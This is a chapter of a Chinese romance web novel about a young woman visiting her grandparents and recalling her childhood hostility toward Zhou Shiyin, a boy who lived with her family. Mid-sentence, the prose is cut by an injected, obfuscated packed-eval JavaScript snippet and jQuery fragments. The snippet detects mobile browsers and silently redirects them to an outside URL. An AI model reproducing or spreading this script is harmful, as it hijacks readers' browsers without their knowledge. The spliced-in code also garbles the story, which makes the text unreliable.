夏清俞拉着行李箱站在村口,来来往往的汽车扬起尘土,浇得她灰头土脸。
她呸呸两声,吃力地拖上行李,揪准时机穿过马路。
这条路早些年修过,但难免还是有凹凸不平的地方,夏清俞甩甩被震得发麻的手掌,认命地往前走。
“小俞!小俞!”一个熟悉又苍老的声音叫住她。
还没回头夏清俞就知道是姥爷。
从小到大她回来,姥爷都会骑着辆三轮车,提前等在站牌处,近几年他人越来越糊涂,夏清俞怕他在往返的途中出什么意外,所以不让他来接自己。
老人大概是思孙女心切,这才执意要来。
夏清俞丢下行李,扑过去给他一个大大的拥抱:“姥爷,不是都说了我自己可以嘛,你怎么又出来了。”
姥爷平日素爱干净,头发、胡茬都收拾得齐齐整整,黑色毛呢帽子两侧露出少许斑白,若不是步履蹒跚,倒真看不出来是快八十的人。
他笑着,脸上的皱纹聚在一起:“你姥姥做好饭等你呢,我来接你回家。”
说着,他竟想帮夏清俞把沉重的箱子提上车。
“我来我来。”夏清俞把姥爷搀扶到前座,自己搬上行李箱爬上车。
从这里到家骑车要将近十分钟,一路上遇到各位乡里乡亲,姥爷耳朵背,听不清别人问他什么,只一味地点头打招呼,或用骄傲炫耀的语气对旁人道:“对,我孙女回来了。”
夏清俞觉得自己像笼子里的动物,任人围观,时不时还要因为礼貌,被迫客气打招呼。
好不容易挨到家,姥姥已经站在门口眺望多时,看见他们,远远地就要迎上来。
见了她第一句话总是:“哎呦,小俞是不是又瘦了呀?”
夏清俞抱着她手臂撒娇:“哪有呀,我吃得好着呢。”
姥爷停了车,跟在她们身后乐呵呵的:“现在的小姑娘们啊就是要苗条,苗条好看呢!”
“小俞脸圆圆的才好看呢!”姥姥捧着她的脸左看右看,“今天你二婶去街上,我让她帮我杀只鸡回来给你炖着吃。”
两位老人习惯了节俭,夏之雅劝过他们无数次,让他们想买什么买什么,非是不听,也就她或者夏清俞回来的时候,姥姥姥爷才愿意多买点肉食。
夏清俞在客厅摊开行李箱,将带给他们的营养补品一一拿出来摆在桌子上。
这也是夏之雅交代过的,老人舍不得买,那她们就买了带回去。
“哎呦,又带了这么多东西,上回买的还没吃完呢……快快快,别收拾了,先吃饭吧。”
夏清俞被推上餐桌。
姥姥的手艺其实称不上特别好,但夏清俞吃起来,却觉得比外面昂贵餐厅做的好吃百倍,别有一番味道。
她吃了上大学以来,最舒心的一顿饭。
饭后,夏清俞帮着洗刷完碗筷,走进卧室,看见姥姥佝偻着给她铺新床单。
她要上前帮忙,被姥姥拦住:“你坐那儿歇会,叫你回家又不是让你干活的。”
夏清俞只好坐在床边的小板凳上,一边陪她,一边无聊地翻起床头柜。
这一翻,就翻出了旧玩意。
夏清俞举起那只头发蓬松,身穿粉红裙子的洋娃娃:“姥姥,这都多久的玩具了,怎么还留着?”
姥姥一脸慈祥:“你之前不是特别喜欢吗?”
的确,夏清俞小的时候非常喜欢洋娃娃。
她总爱拉着姥姥姥爷,或者妈妈,举着各种各样的娃娃扮演不同角色,然后由她来编纂和谐美满的家庭故事。
记得有一年,市面上新出了全身可以活动的芭比娃娃,没几天,夏之雅就买了一整套,带给住在姥姥家的夏清俞。
夏清俞一个人坐在卧室玩,透过半开的门缝听到姥姥嗔怪道:“你呀你,刚创业没几天,钱还没挣到吧?给孩子买这么贵的玩具干什么?”
“她喜欢嘛,再说也没几个钱,你还说我呢妈,你看你给她买了多少小玩意儿……”
母子俩一齐笑起来,歪头看向卧室里的夏清俞。
她不明所以,也跟着笑弯了眼睫。
夏清俞到现在都记得,那朝她投来的目光里,满是宠溺爱意。
她把娃娃放回原位,又拉开下一层抽屉,里面静静躺着几本陈旧的书籍。
夏清俞拎着抖擞几下,灰尘扑面而来。
“这是我的书吗?我怎么一点印象都没有了。”几本书都是科学科普类的,她并不记得自己爱看这类书。
姥姥把多余的床单掖进床垫下,直起腰看她:“这个啊……这好像是时寅的书吧?”
夏清俞翻开封面,第一页上赫然写着周时寅的名字。
周时寅住在她家的两年里,夏之雅为了将一碗水端平,回姥姥家也要将他带上。
家里没有多余的房间,就把放杂物的房间临时收拾出来,让夏清俞住进去,而周时寅住她原来的房间。
这几本书大概就是那时留下的。
夏清俞闲着没事,翻开看了两页,上面还留有周时寅的笔记。
也不知道这种十大未解之谜有什么可记的,她腹诽。
翻着翻着,中间一页上方的小猪涂鸦映入眼帘,旁边还写着:笨死了。
周时寅的字迹是秀气的小楷,而那三个字龙飞凤舞,甚至颇为怨怼,一看就不是他写的。
夏清俞的记忆渐渐复苏,回想起这三个字的来历。
周时寅刚搬进她家时,夏清俞几乎处处针对他,他写作业,她就把卧室门大开,摇滚音乐连上蓝牙,放得整层楼都吵闹。
他无奈,拿了作业本到楼下写。
这还没完,到了饭点,阿姨做好饭菜端上桌,夏清俞也不许他和自己坐在同一张桌子上。
周时寅端了饭碗,自己坐去客厅,一面吃饭一面写题。
夏之雅下班回来,看到他独自窝在沙发边,惊讶道:“时寅,怎么不去餐桌吃,坐在这里?”
周时寅朝餐厅的方向瞥了一眼。
夏清俞面上不慌不忙地夹菜,实际上早就坐立难安,竖起耳朵听着这边的动静。
周时寅如实道:“妹妹不让。”
下一秒,夏之雅丢了包,怒气冲冲:“夏清俞,你给我出来!”
夏清俞被狠狠训斥一顿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482886|201851||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,拉着手腕拽到他跟前:“跟哥哥道歉!”
周时寅看到她胸前剧烈起伏,眼圈泛红,眼神怨恨,死死盯着他。
“他根本就不是我哥哥……”
“道歉!”夏之雅厉声打断她。
“对不起。”她咬牙切齿说出几个字。
夏清俞说完就跑开了,转身之际,一滴泪滑过脸颊,重重砸在地板上。
周时寅莫名有些难受,就好像不是夏清俞在流泪,而是他在流泪,那滴泪也没有滴落在地板上,而是砸进了他心里,翻起圈圈涟漪。
可这样当然不能约束住夏清俞,第二天她还是气势汹汹,不允许周时寅跟她一起坐在餐桌上。
开门声响起,夏之雅下班,又看到他坐在客厅,她嘴巴一张,就要把夏清俞叫过来。
周时寅连忙阻止:“阿姨,是我的作业没写完,我怕今天晚上完不成,所以边吃边写。”
“真的?”夏之雅怀疑。
他坚定地点头。
“那好吧,作业写不完没关系的,不行我给你们老师请假,还是身体重要,好好吃饭。”
“我知道的,谢谢阿姨。”
从始至终,夏清俞都坐在餐桌边,脊背笔直,像是从容等待刑罚。
没有预料中的斥责声,她偏头看过来,清透漂亮的眸子动也不动,淡漠地观看夏之雅对别人叮嘱关心。
第三天,不用夏清俞说,周时寅自己坐去客厅。
听到院子里有汽车引擎的熄灭声,他迅速站起身,端着碗坐回餐桌,和夏清俞错开两个位置。
夏之雅回来看到这一幕,终于不再说什么,拿了碗筷,坐在夏清俞旁边,不时关心两句她的学习。
周时寅看到夏清俞的脸上,是他从未见过的真切、发自内心的笑。
这么过去一个月,某天夏清俞在餐桌上叫住他。
“喂,今天你留在这里吃。”
周时寅惦记着自己的作业,想着早些吃完早些学习,于是他也懒得计较,听她的话在餐桌末尾坐下。
“坐过来,坐在这。”夏清俞抬抬下巴,拍拍自己身边的位置。
周时寅一时迟疑,不知道她又要搞什么幺蛾子。
“你听不见我说话吗?”大小姐脾气发作,不满地提高音量。
周时寅无奈叹气,坐去她身边。
夏清俞推过来半盘水煮虾,命令道:“给我剥。”
他推回去:“没空。”
“喂!”夏清俞咬咬唇,“你给我剥完,我送你一个礼物。”
周时寅根本不指望她能送自己什么好东西,却还是停住脚步。
他戴上手套,仔仔细细去掉外壳,破开每只虾背,抽出虾线。
夏清俞在旁边吃着其他菜,偶尔看他一眼,瞳孔里流转着狡黠的光:“周时寅,你不问我是什么礼物吗?”
周时寅嘴唇紧抿。
不用问,因为他很快就知道了——
客厅的习题册上,一道久未解开的大题被人在草稿纸上写出完整解题过程。
一旁摊开的课外书上,还附赠着一句话:
笨死了!